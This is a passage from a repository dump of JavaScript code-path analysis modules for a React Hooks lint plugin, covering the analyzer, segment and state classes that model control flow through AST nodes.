infinity loops (e.g. `while (true) {}`).\n * Statements preceded by an infinity loop are unreachable if the loop didn't\n * have any `break` statement.\n * @param {ASTNode} node A node to get.\n * @returns {boolean|undefined} a boolean value if the node is a Literal node,\n *   otherwise `undefined`.\n */\nfunction getBooleanValueIfSimpleConstant(node) {\n  if (node.type === 'Literal') {\n    return Boolean(node.value);\n  }\n  return void 0;\n}\n\n/**\n * Checks that a given identifier node is a reference or not.\n *\n * This is used to detect the first throwable node in a `try` block.\n * @param {ASTNode} node An Identifier node to check.\n * @returns {boolean} `true` if the node is a reference.\n */\nfunction isIdentifierReference(node) {\n  const parent = node.parent;\n\n  switch (parent.type) {\n    case 'LabeledStatement':\n    case 'BreakStatement':\n    case 'ContinueStatement':\n    case 'ArrayPattern':\n    case 'RestElement':\n    case 'ImportSpecifier':\n    case 'ImportDefaultSpecifier':\n    case 'ImportNamespaceSpecifier':\n    case 'CatchClause':\n      return false;\n\n    case 'FunctionDeclaration':\n    case 'ComponentDeclaration':\n    case 'HookDeclaration':\n    case 'FunctionExpression':\n    case 'ArrowFunctionExpression':\n    case 'ClassDeclaration':\n    case 'ClassExpression':\n    case 'VariableDeclarator':\n      return parent.id !== node;\n\n    case 'Property':\n    case 'PropertyDefinition':\n    case 'MethodDefinition':\n      return parent.key !== node || parent.computed || parent.shorthand;\n\n    case 'AssignmentPattern':\n      return parent.key !== node;\n\n    default:\n      return true;\n  }\n}\n\n/**\n * Updates the current segment with the head segment.\n * This is similar to local branches and tracking branches of git.\n *\n * To separate the current and the head is in order to not make useless segments.\n *\n * In this process, both \"onCodePathSegmentStart\" and \"onCodePathSegmentEnd\"\n * events are fired.\n * @param {CodePathAnalyzer} analyzer The instance.\n * @param {ASTNode} node The current AST node.\n * @returns {void}\n */\nfunction forwardCurrentToHead(analyzer, node) {\n  const codePath = analyzer.codePath;\n  const state = CodePath.getState(codePath);\n  const currentSegments = state.currentSegments;\n  const headSegments = state.headSegments;\n  const end = Math.max(currentSegments.length, headSegments.length);\n  let i, currentSegment, headSegment;\n\n  // Fires leaving events.\n  for (i = 0; i < end; ++i) {\n    currentSegment = currentSegments[i];\n    headSegment = headSegments[i];\n\n    if (currentSegment !== headSegment && currentSegment) {\n      if (currentSegment.reachable) {\n        analyzer.emitter.emit('onCodePathSegmentEnd', currentSegment, node);\n      }\n    }\n  }\n\n  // Update state.\n  state.currentSegments = headSegments;\n\n  // Fires entering events.\n  for (i = 0; i < end; ++i) {\n    currentSegment = currentSegments[i];\n    headSegment = headSegments[i];\n\n    if (currentSegment !== headSegment && headSegment) {\n      CodePathSegment.markUsed(headSegment);\n      if (headSegment.reachable) {\n        analyzer.emitter.emit('onCodePathSegmentStart', headSegment, node);\n      }\n    }\n  }\n}\n\n/**\n * Updates the current segment with empty.\n * This is called at the last of functions or the program.\n * @param {CodePathAnalyzer} analyzer The instance.\n * @param {ASTNode} node The current AST node.\n * @returns {void}\n */\nfunction leaveFromCurrentSegment(analyzer, node) {\n  const state = CodePath.getState(analyzer.codePath);\n  const currentSegments = state.currentSegments;\n\n  for (let i = 0; i < currentSegments.length; ++i) {\n    const currentSegment = currentSegments[i];\n    if (currentSegment.reachable) {\n      analyzer.emitter.emit('onCodePathSegmentEnd', currentSegment, node);\n    }\n  }\n\n  state.currentSegments = [];\n}\n\n/**\n * Updates the code path due to the position of a given node in the parent node\n * thereof.\n *\n * For example, if the node is `parent.consequent`, this creates a fork from the\n * current path.\n * @param {CodePathAnalyzer} analyzer The instance.\n * @param {ASTNode} node The current AST node.\n * @returns {void}\n */\nfunction preprocess(analyzer, node) {\n  const codePath = analyzer.codePath;\n  const state = CodePath.getState(codePath);\n  const parent = node.parent;\n\n  switch (parent.type) {\n    // The `arguments.length == 0` case is in `postprocess` function.\n    case 'CallExpression':\n      if (\n        parent.optional === true &&\n        parent.arguments.length >= 1 &&\n        parent.arguments[0] === node\n      ) {\n        state.makeOptionalRight();\n      }\n      break;\n    case 'MemberExpression':\n      if (parent.optional === true && parent.property === node) {\n        state.makeOptionalRight();\n      }\n      break;\n\n    case 'LogicalExpression':\n      if (parent.right === node && isHandledLogicalOperator(parent.operator)) {\n        state.makeLogicalRight();\n      }\n      break;\n\n    case 'AssignmentExpression':\n      if (\n        parent.right === node &&\n        isLogicalAssignmentOperator(parent.operator)\n      ) {\n        state.makeLogicalRight();\n      }\n      break;\n\n    case 'ConditionalExpression':\n    case 'IfStatement':\n      /*\n       * Fork if this node is at `consequent`/`alternate`.\n       * `popForkContext()` exists at `IfStatement:exit` and\n       * `ConditionalExpression:exit`.\n       */\n      if (parent.consequent === node) {\n        state.makeIfConsequent();\n      } else if (parent.alternate === node) {\n        state.makeIfAlternate();\n      }\n      break;\n\n    case 'SwitchCase':\n      if (parent.consequent[0] === node) {\n        state.makeSwitchCaseBody(false, !parent.test);\n      }\n      break;\n\n    case 'TryStatement':\n      if (parent.handler === node) {\n        state.makeCatchBlock();\n      } else if (parent.finalizer === node) {\n        state.makeFinallyBlock();\n      }\n      break;\n\n    case 'WhileStatement':\n      if (parent.test === node) {\n        state.makeWhileTest(getBooleanValueIfSimpleConstant(node));\n      } else {\n        assert(parent.body === node);\n        state.makeWhileBody();\n      }\n      break;\n\n    case 'DoWhileStatement':\n      if (parent.body === node) {\n        state.makeDoWhileBody();\n      } else {\n        assert(parent.test === node);\n        state.makeDoWhileTest(getBooleanValueIfSimpleConstant(node));\n      }\n      break;\n\n    case 'ForStatement':\n      if (parent.test === node) {\n        state.makeForTest(getBooleanValueIfSimpleConstant(node));\n      } else if (parent.update === node) {\n        state.makeForUpdate();\n      } else if (parent.body === node) {\n        state.makeForBody();\n      }\n      break;\n\n    case 'ForInStatement':\n    case 'ForOfStatement':\n      if (parent.left === node) {\n        state.makeForInOfLeft();\n      } else if (parent.right === node) {\n        state.makeForInOfRight();\n      } else {\n        assert(parent.body === node);\n        state.makeForInOfBody();\n      }\n      break;\n\n    case 'AssignmentPattern':\n      /*\n       * Fork if this node is at `right`.\n       * `left` is executed always, so it uses the current path.\n       * `popForkContext()` exists at `AssignmentPattern:exit`.\n       */\n      if (parent.right === node) {\n        state.pushForkContext();\n        state.forkBypassPath();\n        state.forkPath();\n      }\n      break;\n\n    default:\n      break;\n  }\n}\n\n/**\n * Updates the code path due to the type of a given node in entering.\n * @param {CodePathAnalyzer} analyzer The instance.\n * @param {ASTNode} node The current AST node.\n * @returns {void}\n */\nfunction processCodePathToEnter(analyzer, node) {\n  let codePath = analyzer.codePath;\n  let state = codePath && CodePath.getState(codePath);\n  const parent = node.parent;\n\n  /**\n   * Creates a new code path and trigger the onCodePathStart event\n   * based on the currently selected node.\n   * @param {string} origin The reason the code path was started.\n   * @returns {void}\n   */\n  function startCodePath(origin) {\n    if (codePath) {\n      // Emits onCodePathSegmentStart events if updated.\n      forwardCurrentToHead(analyzer, node);\n    }\n\n    // Create the code path of this scope.\n    codePath = analyzer.codePath = new CodePath({\n      id: analyzer.idGenerator.next(),\n      origin,\n      upper: codePath,\n      onLooped: analyzer.onLooped,\n    });\n    state = CodePath.getState(codePath);\n\n    // Emits onCodePathStart events.\n    analyzer.emitter.emit('onCodePathStart', codePath, node);\n  }\n\n  /*\n   * Special case: The right side of class field initializer is considered\n   * to be its own function, so we need to start a new code path in this\n   * case.\n   */\n  if (isPropertyDefinitionValue(node)) {\n    startCodePath('class-field-initializer');\n\n    /*\n     * Intentional fall through because `node` needs to also be\n     * processed by the code below. For example, if we have:\n     *\n     * class Foo {\n     *     a = () => {}\n     * }\n     *\n     * In this case, we also need start a second code path.\n     */\n  }\n\n  switch (node.type) {\n    case 'Program':\n      startCodePath('program');\n      break;\n\n    case 'FunctionDeclaration':\n    case 'ComponentDeclaration':\n    case 'HookDeclaration':\n    case 'FunctionExpression':\n    case 'ArrowFunctionExpression':\n      startCodePath('function');\n      break;\n\n    case 'StaticBlock':\n      startCodePath('class-static-block');\n      break;\n\n    case 'ChainExpression':\n      state.pushChainContext();\n      break;\n    case 'CallExpression':\n      if (node.optional === true) {\n        state.makeOptionalNode();\n      }\n      break;\n    case 'MemberExpression':\n      if (node.optional === true) {\n        state.makeOptionalNode();\n      }\n      break;\n\n    case 'LogicalExpression':\n      if (isHandledLogicalOperator(node.operator)) {\n        state.pushChoiceContext(node.operator, isForkingByTrueOrFalse(node));\n      }\n      break;\n\n    case 'AssignmentExpression':\n      if (isLogicalAssignmentOperator(node.operator)) {\n        state.pushChoiceContext(\n          node.operator.slice(0, -1), // removes `=` from the end\n          isForkingByTrueOrFalse(node),\n        );\n      }\n      break;\n\n    case 'ConditionalExpression':\n    case 'IfStatement':\n      state.pushChoiceContext('test', false);\n      break;\n\n    case 'SwitchStatement':\n      state.pushSwitchContext(node.cases.some(isCaseNode), getLabel(node));\n      break;\n\n    case 'TryStatement':\n      state.pushTryContext(Boolean(node.finalizer));\n      break;\n\n    case 'SwitchCase':\n      /*\n       * Fork if this node is after the 2st node in `cases`.\n       * It's similar to `else` blocks.\n       * The next `test` node is processed in this path.\n       */\n      if (parent.discriminant !== node && parent.cases[0] !== node) {\n        state.forkPath();\n      }\n      break;\n\n    case 'WhileStatement':\n    case 'DoWhileStatement':\n    case 'ForStatement':\n    case 'ForInStatement':\n    case 'ForOfStatement':\n      state.pushLoopContext(node.type, getLabel(node));\n      break;\n\n    case 'LabeledStatement':\n      if (!breakableTypePattern.test(node.body.type)) {\n        state.pushBreakContext(false, node.label.name);\n      }\n      break;\n\n    default:\n      break;\n  }\n\n  // Emits onCodePathSegmentStart events if updated.\n  forwardCurrentToHead(analyzer, node);\n}\n\n/**\n * Updates the code path due to the type of a given node in leaving.\n * @param {CodePathAnalyzer} analyzer The instance.\n * @param {ASTNode} node The current AST node.\n * @returns {void}\n */\nfunction processCodePathToExit(analyzer, node) {\n  const codePath = analyzer.codePath;\n  const state = CodePath.getState(codePath);\n  let dontForward = false;\n\n  switch (node.type) {\n    case 'ChainExpression':\n      state.popChainContext();\n      break;\n\n    case 'IfStatement':\n    case 'ConditionalExpression':\n      state.popChoiceContext();\n      break;\n\n    case 'LogicalExpression':\n      if (isHandledLogicalOperator(node.operator)) {\n        state.popChoiceContext();\n      }\n      break;\n\n    case 'AssignmentExpression':\n      if (isLogicalAssignmentOperator(node.operator)) {\n        state.popChoiceContext();\n      }\n      break;\n\n    case 'SwitchStatement':\n      state.popSwitchContext();\n      break;\n\n    case 'SwitchCase':\n      /*\n       * This is the same as the process at the 1st `consequent` node in\n       * `preprocess` function.\n       * Must do if this `consequent` is empty.\n       */\n      if (node.consequent.length === 0) {\n        state.makeSwitchCaseBody(true, !node.test);\n      }\n      if (state.forkContext.reachable) {\n        dontForward = true;\n      }\n      break;\n\n    case 'TryStatement':\n      state.popTryContext();\n      break;\n\n    case 'BreakStatement':\n      forwardCurrentToHead(analyzer, node);\n      state.makeBreak(node.label && node.label.name);\n      dontForward = true;\n      break;\n\n    case 'ContinueStatement':\n      forwardCurrentToHead(analyzer, node);\n      state.makeContinue(node.label && node.label.name);\n      dontForward = true;\n      break;\n\n    case 'ReturnStatement':\n      forwardCurrentToHead(analyzer, node);\n      state.makeReturn();\n      dontForward = true;\n      break;\n\n    case 'ThrowStatement':\n      forwardCurrentToHead(analyzer, node);\n      state.makeThrow();\n      dontForward = true;\n      break;\n\n    case 'Identifier':\n      if (isIdentifierReference(node)) {\n        state.makeFirstThrowablePathInTryBlock();\n        dontForward = true;\n      }\n      break;\n\n    case 'CallExpression':\n    case 'ImportExpression':\n    case 'MemberExpression':\n    case 'NewExpression':\n    case 'YieldExpression':\n      state.makeFirstThrowablePathInTryBlock();\n      break;\n\n    case 'WhileStatement':\n    case 'DoWhileStatement':\n    case 'ForStatement':\n    case 'ForInStatement':\n    case 'ForOfStatement':\n      state.popLoopContext();\n      break;\n\n    case 'AssignmentPattern':\n      state.popForkContext();\n      break;\n\n    case 'LabeledStatement':\n      if (!breakableTypePattern.test(node.body.type)) {\n        state.popBreakContext();\n      }\n      break;\n\n    default:\n      break;\n  }\n\n  // Emits onCodePathSegmentStart events if updated.\n  if (!dontForward) {\n    forwardCurrentToHead(analyzer, node);\n  }\n}\n\n/**\n * Updates the code path to finalize the current code path.\n * @param {CodePathAnalyzer} analyzer The instance.\n * @param {ASTNode} node The current AST node.\n * @returns {void}\n */\nfunction postprocess(analyzer, node) {\n  /**\n   * Ends the code path for the current node.\n   * @returns {void}\n   */\n  function endCodePath() {\n    let codePath = analyzer.codePath;\n\n    // Mark the current path as the final node.\n    CodePath.getState(codePath).makeFinal();\n\n    // Emits onCodePathSegmentEnd event of the current segments.\n    leaveFromCurrentSegment(analyzer, node);\n\n    // Emits onCodePathEnd event of this code path.\n    analyzer.emitter.emit('onCodePathEnd', codePath, node);\n\n    codePath = analyzer.codePath = analyzer.codePath.upper;\n  }\n\n  switch (node.type) {\n    case 'Program':\n    case 'FunctionDeclaration':\n    case 'ComponentDeclaration':\n    case 'HookDeclaration':\n    case 'FunctionExpression':\n    case 'ArrowFunctionExpression':\n    case 'StaticBlock': {\n      endCodePath();\n      break;\n    }\n\n    // The `arguments.length >= 1` case is in `preprocess` function.\n    case 'CallExpression':\n      if (node.optional === true && node.arguments.length === 0) {\n        CodePath.getState(analyzer.codePath).makeOptionalRight();\n      }\n      break;\n\n    default:\n      break;\n  }\n\n  /*\n   * Special case: The right side of class field initializer is considered\n   * to be its own function, so we need to end a code path in this\n   * case.\n   *\n   * We need to check after the other checks in order to close the\n   * code paths in the correct order for code like this:\n   *\n   *\n   * class Foo {\n   *     a = () => {}\n   * }\n   *\n   * In this case, The ArrowFunctionExpression code path is closed first\n   * and then we need to close the code path for the PropertyDefinition\n   * value.\n   */\n  if (isPropertyDefinitionValue(node)) {\n    endCodePath();\n  }\n}\n\n//------------------------------------------------------------------------------\n// Public Interface\n//------------------------------------------------------------------------------\n\n/**\n * The class to analyze code paths.\n * This class implements the EventGenerator interface.\n */\nclass CodePathAnalyzer {\n  /**\n   * @param {EventGenerator} eventGenerator An event generator to wrap.\n   */\n  constructor(emitters) {\n    this.emitter = {\n      emit(event, ...args) {\n        emitters[event]?.(...args);\n      },\n    };\n    this.codePath = null;\n    this.idGenerator = new IdGenerator('s');\n    this.currentNode = null;\n    this.onLooped = this.onLooped.bind(this);\n  }\n\n  /**\n   * Does the process to enter a given AST node.\n   * This updates state of analysis and calls `enterNode` of the wrapped.\n   * @param {ASTNode} node A node which is entering.\n   * @returns {void}\n   */\n  enterNode(node) {\n    this.currentNode = node;\n\n    // Updates the code path due to node's position in its parent node.\n    if (node.parent) {\n      preprocess(this, node);\n    }\n\n    /*\n     * Updates the code path.\n     * And emits onCodePathStart/onCodePathSegmentStart events.\n     */\n    processCodePathToEnter(this, node);\n\n    this.currentNode = null;\n  }\n\n  /**\n   * Does the process to leave a given AST node.\n   * This updates state of analysis and calls `leaveNode` of the wrapped.\n   * @param {ASTNode} node A node which is leaving.\n   * @returns {void}\n   */\n  leaveNode(node) {\n    this.currentNode = node;\n\n    /*\n     * Updates the code path.\n     * And emits onCodePathStart/onCodePathSegmentStart events.\n     */\n    processCodePathToExit(this, node);\n\n    // Emits the last onCodePathStart/onCodePathSegmentStart events.\n    postprocess(this, node);\n\n    this.currentNode = null;\n  }\n\n  /**\n   * This is called on a code path looped.\n   * Then this raises a looped event.\n   * @param {CodePathSegment} fromSegment A segment of prev.\n   * @param {CodePathSegment} toSegment A segment of next.\n   * @returns {void}\n   */\n  onLooped(fromSegment, toSegment) {\n    if (fromSegment.reachable && toSegment.reachable) {\n      this.emitter.emit(\n        'onCodePathSegmentLoop',\n        fromSegment,\n        toSegment,\n        this.currentNode,\n      );\n    }\n  }\n}\n\nmodule.exports = CodePathAnalyzer;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-segment.js",
    "content": "'use strict';\n\n//------------------------------------------------------------------------------\n// Requirements\n//------------------------------------------------------------------------------\n\n//------------------------------------------------------------------------------\n// Helpers\n//------------------------------------------------------------------------------\n\n/**\n * Checks whether or not a given segment is reachable.\n * @param {CodePathSegment} segment A segment to check.\n * @returns {boolean} `true` if the segment is reachable.\n */\nfunction isReachable(segment) {\n  return segment.reachable;\n}\n\n//------------------------------------------------------------------------------\n// Public Interface\n//------------------------------------------------------------------------------\n\n/**\n * A code path segment.\n */\nclass CodePathSegment {\n  /**\n   * @param {string} id An identifier.\n   * @param {CodePathSegment[]} allPrevSegments An array of the previous segments.\n   *   This array includes unreachable segments.\n   * @param {boolean} reachable A flag which shows this is reachable.\n   */\n  constructor(id, allPrevSegments, reachable) {\n    /**\n     * The identifier of this code path.\n     * Rules use it to store additional information of each rule.\n     * @type {string}\n     */\n    this.id = id;\n\n    /**\n     * An array of the next segments.\n     * @type {CodePathSegment[]}\n     */\n    this.nextSegments = [];\n\n    /**\n     * An array of the previous segments.\n     * @type {CodePathSegment[]}\n     */\n    this.prevSegments = allPrevSegments.filter(isReachable);\n\n    /**\n     * An array of the next segments.\n     * This array includes unreachable segments.\n     * @type {CodePathSegment[]}\n     */\n    this.allNextSegments = [];\n\n    /**\n     * An array of the previous segments.\n     * This array includes unreachable segments.\n     * @type {CodePathSegment[]}\n     */\n    this.allPrevSegments = allPrevSegments;\n\n    /**\n     * A flag which shows this is reachable.\n     * @type {boolean}\n     */\n    this.reachable = reachable;\n\n    // Internal data.\n    Object.defineProperty(this, 'internal', {\n      value: {\n        used: false,\n        loopedPrevSegments: [],\n      },\n    });\n  }\n\n  /**\n   * Checks a given previous segment is coming from the end of a loop.\n   * @param {CodePathSegment} segment A previous segment to check.\n   * @returns {boolean} `true` if the segment is coming from the end of a loop.\n   */\n  isLoopedPrevSegment(segment) {\n    return this.internal.loopedPrevSegments.includes(segment);\n  }\n\n  /**\n   * Creates the root segment.\n   * @param {string} id An identifier.\n   * @returns {CodePathSegment} The created segment.\n   */\n  static newRoot(id) {\n    return new CodePathSegment(id, [], true);\n  }\n\n  /**\n   * Creates a segment that follows given segments.\n   * @param {string} id An identifier.\n   * @param {CodePathSegment[]} allPrevSegments An array of the previous segments.\n   * @returns {CodePathSegment} The created segment.\n   */\n  static newNext(id, allPrevSegments) {\n    return new CodePathSegment(\n      id,\n      CodePathSegment.flattenUnusedSegments(allPrevSegments),\n      allPrevSegments.some(isReachable),\n    );\n  }\n\n  /**\n   * Creates an unreachable segment that follows given segments.\n   * @param {string} id An identifier.\n   * @param {CodePathSegment[]} allPrevSegments An array of the previous segments.\n   * @returns {CodePathSegment} The created segment.\n   */\n  static newUnreachable(id, allPrevSegments) {\n    const segment = new CodePathSegment(\n      id,\n      CodePathSegment.flattenUnusedSegments(allPrevSegments),\n      false,\n    );\n\n    /*\n     * In `if (a) return a; foo();` case, the unreachable segment preceded by\n     * the return statement is not used but must not be remove.\n     */\n    CodePathSegment.markUsed(segment);\n\n    return segment;\n  }\n\n  /**\n   * Creates a segment that follows given segments.\n   * This factory method does not connect with `allPrevSegments`.\n   * But this inherits `reachable` flag.\n   * @param {string} id An identifier.\n   * @param {CodePathSegment[]} allPrevSegments An array of the previous segments.\n   * @returns {CodePathSegment} The created segment.\n   */\n  static newDisconnected(id, allPrevSegments) {\n    return new CodePathSegment(id, [], allPrevSegments.some(isReachable));\n  }\n\n  /**\n   * Makes a given segment being used.\n   *\n   * And this function registers the segment into the previous segments as a next.\n   * @param {CodePathSegment} segment A segment to mark.\n   * @returns {void}\n   */\n  static markUsed(segment) {\n    if (segment.internal.used) {\n      return;\n    }\n    segment.internal.used = true;\n\n    let i;\n\n    if (segment.reachable) {\n      for (i = 0; i < segment.allPrevSegments.length; ++i) {\n        const prevSegment = segment.allPrevSegments[i];\n\n        prevSegment.allNextSegments.push(segment);\n        prevSegment.nextSegments.push(segment);\n      }\n    } else {\n      for (i = 0; i < segment.allPrevSegments.length; ++i) {\n        segment.allPrevSegments[i].allNextSegments.push(segment);\n      }\n    }\n  }\n\n  /**\n   * Marks a previous segment as looped.\n   * @param {CodePathSegment} segment A segment.\n   * @param {CodePathSegment} prevSegment A previous segment to mark.\n   * @returns {void}\n   */\n  static markPrevSegmentAsLooped(segment, prevSegment) {\n    segment.internal.loopedPrevSegments.push(prevSegment);\n  }\n\n  /**\n   * Replaces unused segments with the previous segments of each unused segment.\n   * @param {CodePathSegment[]} segments An array of segments to replace.\n   * @returns {CodePathSegment[]} The replaced array.\n   */\n  static flattenUnusedSegments(segments) {\n    const done = Object.create(null);\n    const retv = [];\n\n    for (let i = 0; i < segments.length; ++i) {\n      const segment = segments[i];\n\n      // Ignores duplicated.\n      if (done[segment.id]) {\n        continue;\n      }\n\n      // Use previous segments if unused.\n      if (!segment.internal.used) {\n        for (let j = 0; j < segment.allPrevSegments.length; ++j) {\n          const prevSegment = segment.allPrevSegments[j];\n\n          if (!done[prevSegment.id]) {\n            done[prevSegment.id] = true;\n            retv.push(prevSegment);\n          }\n        }\n      } else {\n        done[segment.id] = true;\n        retv.push(segment);\n      }\n    }\n\n    return retv;\n  }\n}\n\nmodule.exports = CodePathSegment;\n"
  },
  {
    "path": "packages/eslint-plugin-react-hooks/src/code-path-analysis/code-path-state.js",
    "content": "'use strict';\n\n//------------------------------------------------------------------------------\n// Requirements\n//------------------------------------------------------------------------------\n\n// eslint-disable-next-line\nconst CodePathSegment = require('./code-path-segment');\n// eslint-disable-next-line\nconst ForkContext = require('./fork-context');\n\n//------------------------------------------------------------------------------\n// Helpers\n//------------------------------------------------------------------------------\n\n/**\n * Adds given segments into the `dest` array.\n * If the `others` array does not includes the given segments, adds to the `all`\n * array as well.\n *\n * This adds only reachable and used segments.\n * @param {CodePathSegment[]} dest A destination array (`returnedSegments` or `thrownSegments`).\n * @param {CodePathSegment[]} others Another destination array (`returnedSegments` or `thrownSegments`).\n * @param {CodePathSegment[]} all The unified destination array (`finalSegments`).\n * @param {CodePathSegment[]} segments Segments to add.\n * @returns {void}\n */\nfunction addToReturnedOrThrown(dest, others, all, segments) {\n  for (let i = 0; i < segments.length; ++i) {\n    const segment = segments[i];\n\n    dest.push(segment);\n    if (!others.includes(segment)) {\n      all.push(segment);\n    }\n  }\n}\n\n/**\n * Gets a loop-context for a `continue` statement.\n * @param {CodePathState} state A state to get.\n * @param {string} label The label of a `continue` statement.\n * @returns {LoopContext} A loop-context for a `continue` statement.\n */\nfunction getContinueContext(state, label) {\n  if (!label) {\n    return state.loopContext;\n  }\n\n  let context = state.loopContext;\n\n  while (context) {\n    if (context.label === label) {\n      return context;\n    }\n    context = context.upper;\n  }\n\n  /* c8 ignore next */\n  return null;\n}\n\n/**\n * Gets a context for a `break` statement.\n * @param {CodePathState} state A state to get.\n * @param {string} label The label of a `break` statement.\n * @returns {LoopContext|SwitchContext} A context for a `break` statement.\n */\nfunction getBreakContext(state, label) {\n  let context = state.breakContext;\n\n  while (context) {\n    if (label ? context.label === label : context.breakable) {\n      return context;\n    }\n    context = context.upper;\n  }\n\n  /* c8 ignore next */\n  return null;\n}\n\n/**\n * Gets a context for a `return` statement.\n * @param {CodePathState} state A state to get.\n * @returns {TryContext|CodePathState} A context for a `return` statement.\n */\nfunction getReturnContext(state) {\n  let context = state.tryContext;\n\n  while (context) {\n    if (context.hasFinalizer && context.position !== 'finally') {\n      return context;\n    }\n    context = context.upper;\n  }\n\n  return state;\n}\n\n/**\n * Gets a context for a `throw` statement.\n * @param {CodePathState} state A state to get.\n * @returns {TryContext|CodePathState} A context for a `throw` statement.\n */\nfunction getThrowContext(state) {\n  let context = state.tryContext;\n\n  while (context) {\n    if (\n      context.position === 'try' ||\n      (context.hasFinalizer && context.position === 'catch')\n    ) {\n      return context;\n    }\n    context = context.upper;\n  }\n\n  return state;\n}\n\n/**\n * Removes a given element from a given array.\n * @param {any[]} xs An array to remove the specific element.\n * @param {any} x An element to be removed.\n * @returns {void}\n */\nfunction remove(xs, x) {\n  xs.splice(xs.indexOf(x), 1);\n}\n\n/**\n * Disconnect given segments.\n *\n * This is used in a process for switch statements.\n * If there is the \"default\" chunk before other cases, the order is different\n * between node's and running's.\n * @param {CodePathSegment[]} prevSegments Forward segments to disconnect.\n * @param {CodePathSegment[]} nextSegments Backward segments to disconnect.\n * @returns {void}\n */\nfunction removeConnection(prevSegments, nextSegments) {\n  for (let i = 0; i < prevSegments.length; ++i) {\n    const prevSegment = prevSegments[i];\n    const nextSegment = nextSegments[i];\n\n    remove(prevSegment.nextSegments, nextSegment);\n    remove(prevSegment.allNextSegments, nextSegment);\n    remove(nextSegment.prevSegments, prevSegment);\n    remove(nextSegment.allPrevSegments, prevSegment);\n  }\n}\n\n/**\n * Creates looping path.\n * @param {CodePathState} state The instance.\n * @param {CodePathSegment[]} unflattenedFromSegments Segments which are source.\n * @param {CodePathSegment[]} unflattenedToSegments Segments which are destination.\n * @returns {void}\n */\nfunction makeLooped(state, unflattenedFromSegments, unflattenedToSegments) {\n  const fromSegments = CodePathSegment.flattenUnusedSegments(\n    unflattenedFromSegments,\n  );\n  const toSegments = CodePathSegment.flattenUnusedSegments(\n    unflattenedToSegments,\n  );\n\n  const end = Math.min(fromSegments.length, toSegments.length);\n\n  for (let i = 0; i < end; ++i) {\n    const fromSegment = fromSegments[i];\n    const toSegment = toSegments[i];\n\n    if (toSegment.reachable) {\n      fromSegment.nextSegments.push(toSegment);\n    }\n    if (fromSegment.reachable) {\n      toSegment.prevSegments.push(fromSegment);\n    }\n    fromSegment.allNextSegments.push(toSegment);\n    toSegment.allPrevSegments.push(fromSegment);\n\n    if (toSegment.allPrevSegments.length >= 2) {\n      CodePathSegment.markPrevSegmentAsLooped(toSegment, fromSegment);\n    }\n\n    state.notifyLooped(fromSegment, toSegment);\n  }\n}\n\n/**\n * Finalizes segments of `test` chunk of a ForStatement.\n *\n * - Adds `false` paths to paths which are leaving from the loop.\n * - Sets `true` paths to paths which go to the body.\n * @param {LoopContext} context A loop context to modify.\n * @param {ChoiceContext} choiceContext A choice context of this loop.\n * @param {CodePathSegment[]} head The current head paths.\n * @returns {void}\n */\nfunction finalizeTestSegmentsOfFor(context, choiceContext, head) {\n  if (!choiceContext.processed) {\n    choiceContext.trueForkContext.add(head);\n    choiceContext.falseForkContext.add(head);\n    choiceContext.qqForkContext.add(head);\n  }\n\n  if (context.test !== true) {\n    context.brokenForkContext.addAll(choiceContext.falseForkContext);\n  }\n  context.endOfTestSegments = choiceContext.trueForkContext.makeNext(0, -1);\n}\n\n//------------------------------------------------------------------------------\n// Public Interface\n//------------------------------------------------------------------------------\n\n/**\n * A class which manages state to analyze code paths.\n */\nclass CodePathState {\n  /**\n   * @param {IdGenerator} idGenerator An id generator to generate id for code\n   *   path segments.\n   * @param {Function} onLooped A callback function to notify looping.\n   */\n  constructor(idGenerator, onLooped) {\n    this.idGenerator = idGenerator;\n    this.notifyLooped = onLooped;\n    this.forkContext = ForkContext.newRoot(idGenerator);\n    this.choiceContext = null;\n    this.switchContext = null;\n    this.tryContext = null;\n    this.loopContext = null;\n    this.breakContext = null;\n    this.chainContext = null;\n\n    this.currentSegments = [];\n    this.initialSegment = this.forkContext.head[0];\n\n    // returnedSegments and thrownSegments push elements into finalSegments also.\n    const final = (this.finalSegments = []);\n    const returned = (this.returnedForkContext = []);\n    const thrown = (this.thrownForkContext = []);\n\n    returned.add = addToReturnedOrThrown.bind(null, returned, thrown, final);\n    thrown.add = addToReturnedOrThrown.bind(null, thrown, returned, final);\n  }\n\n  /**\n   * The head segments.\n   * @type {CodePathSegment[]}\n   */\n  get headSegments() {\n    return this.forkContext.head;\n  }\n\n  /**\n   * The parent forking context.\n   * This is used for the root of new forks.\n   * @type {ForkContext}\n   */\n  get parentForkContext() {\n    const current = this.forkContext;\n\n    return current && current.upper;\n  }\n\n  /**\n   * Creates and stacks new forking context.\n   * @param {boolean} forkLeavingPath A flag which shows being in a\n   *   \"finally\" block.\n   * @returns {ForkContext} The created context.\n   */\n  pushForkContext(forkLeavingPath) {\n    this.forkContext = ForkContext.newEmpty(this.forkContext, forkLeavingPath);\n\n    return this.forkContext;\n  }\n\n  /**\n   * Pops and merges the last forking context.\n   * @returns {ForkContext} The last context.\n   */\n  popForkContext() {\n    const lastContext = this.forkContext;\n\n    this.forkContext = lastContext.upper;\n    this.forkContext.replaceHead(lastContext.makeNext(0, -1));\n\n    return lastContext;\n  }\n\n  /**\n   * Creates a new path.\n   * @returns {void}\n   */\n  forkPath() {\n    this.forkContext.add(this.parentForkContext.makeNext(-1, -1));\n  }\n\n  /**\n   * Creates a bypass path.\n   * This is used for such as IfStatement which does not have \"else\" chunk.\n   * @returns {void}\n   */\n  forkBypassPath() {\n    this.forkContext.add(this.parentForkContext.head);\n  }\n\n  //--------------------------------------------------------------------------\n  // ConditionalExpression, LogicalExpression, IfStatement\n  //--------------------------------------------------------------------------\n\n  /**\n   * Creates a context for ConditionalExpression, LogicalExpression, AssignmentExpression (logical assignments only),\n   * IfStatement, WhileStatement, DoWhileStatement, or ForStatement.\n   *\n   * LogicalExpressions have cases that it goes different paths between the\n   * `true` case and the `false` case.\n   *\n   * For Example:\n   *\n   *     if (a || b) {\n   *         foo();\n   *     } else {\n   *         bar();\n   *     }\n   *\n   * In this case, `b` is evaluated always in the code path of the `else`\n   * block, but it's not so in the code path of the `if` block.\n   * So there are 3 paths.\n   *\n   *     a -> foo();\n   *     a -> b -> foo();\n   *     a -> b -> bar();\n   * @param {string} kind A kind string.\n   *   If the new context is LogicalExpression's or AssignmentExpression's, this is `\"&&\"` or `\"||\"` or `\"??\"`.\n   *   If it's IfStatement's or ConditionalExpression's, this is `\"test\"`.\n   *   Otherwise, this is `\"loop\"`.\n   * @param {boolean} isForkingAsResult A flag that shows that goes different\n   *   paths between `true` and `false`.\n   * @returns {void}\n   */\n  pushChoiceContext(kind, isForkingAsResult) {\n    